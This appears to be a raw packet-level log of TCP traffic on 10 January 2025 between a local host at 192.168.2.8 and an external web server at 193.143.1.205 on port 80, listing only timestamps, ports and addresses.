Jan 10, 2025 18:22:48.554341078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.554362059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.554374933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.554418087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.592055082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592084885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592097044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592109919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592123032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592134953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592149019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592159986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592170954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592183113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592184067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.592184067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.592217922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.592221022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.592257977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.614989996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.615009069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.615020990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.615031958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.615046024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.615094900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.629925966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.629945040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.629956007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.629966974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.629976988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.629980087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.629992008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630003929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.630004883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630019903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630043030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630053043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.630053043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.630055904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630068064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630080938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630090952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.630094051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630108118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.630119085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.630151033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.653091908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653125048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653136969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653145075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.653150082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653163910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653175116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653206110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.653206110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.653240919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653254032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653264046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653281927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.653312922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.653407097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653425932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.653460979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654198885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654220104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654232025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654244900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654275894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654303074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654308081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654321909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654331923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654356003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654362917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654376030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654386997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654398918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654407978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654432058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654433966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654448986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654484034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654530048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654541969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654552937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654563904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654568911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654577017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654592037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654608965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654613972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654623032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654634953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654664993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654709101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654721022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654737949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654751062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654753923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654763937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654776096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654797077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654833078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654845953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654855967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654869080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654885054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654896975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654910088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654910088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654934883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.654983044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.654995918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655005932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655019045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655031919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655031919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655044079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655056953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655066967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655071020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655082941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655086994 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655097961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655112982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655142069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655741930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655754089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655765057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655776978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655787945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655791998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655807972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655814886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655823946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655836105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655848026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655853987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655865908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655869007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655878067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.655889988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.655920982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658041000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658112049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658123970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658135891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658153057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658157110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658164978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658176899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658179045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658193111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658204079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658206940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658219099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658230066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658243895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658253908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658257961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658289909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658302069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658314943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658332109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658344030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658353090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658365011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658377886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658400059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658407927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658421040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658432961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658444881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.658463001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.658483982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.659753084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.659769058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.659817934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.677988052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678050995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678061008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678076982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678088903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678100109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678109884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678121090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.678128958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.678129911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.678159952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.700990915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.701014042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.701023102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.701031923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.701086998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.730693102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.735718012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735743999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735755920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735766888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735780001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735791922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735805035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735810995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.735855103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.735855103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.735865116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735877991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735888958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735894918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735902071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735905886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.735908031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735915899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735948086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735958099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735963106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735974073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.735987902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.736018896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739372969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739386082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739392996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739434004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739434958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739448071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739459991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739470959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739504099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739810944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739824057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739835024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739845037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739854097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739854097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739859104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739878893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739897966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739908934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739908934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739922047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.739958048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.739986897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740000010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740010977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740015984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740036011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740030050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740047932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740051031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740061045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740073919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740080118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740091085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740094900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740108013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740117073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740160942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740199089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740211010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740221024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740226984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740247011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740256071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740258932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740273952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740278006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740314007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740323067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740335941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740364075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740575075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740586996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740598917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740609884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740613937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740623951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740634918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740645885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740657091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740664959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740674973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740664959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740688086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740689039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740701914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740712881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740715027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740727901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740734100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740744114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740745068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740757942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740766048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740787029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740839005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740850925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740860939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740871906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740878105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740886927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740892887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740904093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740915060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740936041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740943909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740957022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740957022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.740969896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740982056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.740993023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.741000891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.741004944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.741024017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.741044998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754436970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754451036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754462004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754476070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754492998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754523039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754548073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754560947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754571915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754592896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754627943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754641056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754652977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754671097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754673004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754689932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754698038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754702091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754715919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754728079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754745960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754766941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754769087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 10, 2025 18:22:48.754780054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754791021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 18:22:48.754801989 CET	80	49706	193.143.1.205	192.168.2.8
